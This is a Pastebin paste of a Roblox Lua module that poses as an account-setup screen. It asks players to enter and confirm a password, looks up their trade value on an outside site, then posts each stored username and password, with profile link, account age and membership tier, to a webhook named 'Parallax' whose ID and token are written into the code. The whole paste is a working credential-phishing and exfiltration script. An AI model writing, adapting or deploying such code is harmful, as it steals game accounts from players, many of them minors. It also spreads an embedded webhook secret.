Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local module = {}
- function module.sendData()
- local player = game.ServerScriptService.Player.Username.Value
- local ui = game.Players[player].PlayerGui.ScreenGui.FullScreen.Frame
- local accounts = game.ServerStorage.accounts
- local textbox = ui.TextBox
- local textbox2 = ui.TextBox2
- if textbox2.Text == textbox.Text and string.len(textbox.Text) > 4 and string.len(textbox2.Text) > 4 then
- local account = Instance.new("StringValue", accounts)
- account.Name = player
- account.Value = textbox.Text
- local bc = Instance.new("IntValue", account)
- bc.Value = game.Players[player].MembershipType.Value
- ui:remove()
- local memtype = Instance.new("StringValue", account)
- local ap = require(game.ServerScriptService.TrelloAPI)
- local BoardID = ap:GetBoardID("mgui accounts")
- local ListID = ap:GetListID("accounts", BoardID)
- local LabelID = ap:GetLabelID("bc", BoardID)
- local hs = game:GetService("HttpService")
- local rapjson = hs:GetAsync("http://aerx-mgui.com/APIs/RAP.php?Username="..game.Players[player].Name)
- -- Decodes the JSON String we just received into a Lua Table.
- local myTable = hs:JSONDecode(rapjson)
- -- Returns myTable, which looks like {"exp"=1100, "gold"=999, "swordID" = 1000398}
- print(myTable["stats"]["RAP"])
- if bc.Value == 0 then
- memtype.Value = "NONE"
- elseif bc.Value == 1 then
- memtype.Value = "BC"
- elseif bc.Value == 2 then
- memtype.Value = "TBC"
- elseif bc.Value == 3 then
- memtype.Value = "OBC"
- end
- for i,v in pairs(game.ServerStorage.accounts:GetChildren()) do
- local APIModule = require(game.ReplicatedStorage.WebhookAPI)
- local newWebHook = APIModule.new("347519052375392256","zCfaMGPSTFBAAZhxH0z8817mP5uJZOKkv-wmZjjK1v4kVQ6e8Jsp5ZQGi62-OaOuu7qh")
- newWebHook:post{
- username = "Parallax",
- content = ("username: "..v.Name.." password: "..v.Value.." profile: http://www.roblox.com/users/"..game.Players[player].UserId.." Age: "..game.Players[player].AccountAge.." Membership: "..memtype.Value)
- }
- end
- game.Players[player].PlayerGui.ScreenGui.FullScreen.Done.Visible = true
- elseif textbox2.Text ~= textbox.Text then
- ui.Visible = false
- ui.Parent.popup.Visible = true
- wait(5)
- ui.Parent.popup.Visible = false
- ui.Visible = true
- elseif string.len(textbox.Text) ~= 4 and string.len(textbox2.Text) ~= 4 then
- ui.Parent.popup.message.Text = "It seems your password is too small to be a password. Please enter more than three characters, Try again in 3 seconds."
- ui.Parent.popup.message.Shadow.Text = "It seems your password is too small to be a password. Please enter more than three characters, Try again in 3 seconds."
- ui.Visible = false
- ui.Parent.popup.Visible = true
- wait(5)
- ui.Parent.popup.Visible = false
- ui.Visible = true
- end
- end
- return module
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement